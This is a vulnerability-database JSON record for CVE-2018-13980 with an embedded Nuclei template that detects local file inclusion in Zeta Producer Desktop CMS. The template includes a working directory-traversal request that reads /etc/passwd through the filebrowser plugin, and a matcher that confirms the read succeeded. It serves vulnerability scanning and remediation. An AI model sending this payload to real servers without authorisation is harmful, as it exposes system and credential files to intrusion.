{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-13980/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-13980/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-13980/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-13980/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-13980/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-13980"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-13980"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-13980.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2018-13980\n\ninfo:\n  name: Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion\n  author: wisnupramoedya\n  severity: medium\n  description: Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin \"filebrowser\" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.\n  impact: |\n    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.\n  remediation: |\n    Upgrade Zeta Producer Desktop CMS to version 14.2.1 or later to mitigate the vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/45016\n    - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/\n    - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-13980\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 5.5\n    cve-id: CVE-2018-13980\n    cwe-id: CWE-22\n    epss-score: 0.06902\n    epss-percentile: 0.94103\n    cpe: cpe:2.3:a:zeta-producer:zeta_producer:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: zeta-producer\n    product: zeta_producer\n  tags: cve2018,cve,lfi,edb,packetstorm,zeta-producer,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022018069217c0e64eb7ff070e03c19b16b14ccf9075ecc0a5345005a86bdfc212e8022044c55b2b7559d231b7467610e0ef717a309d5521b802aae14e413555a28bf622:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-13980"
}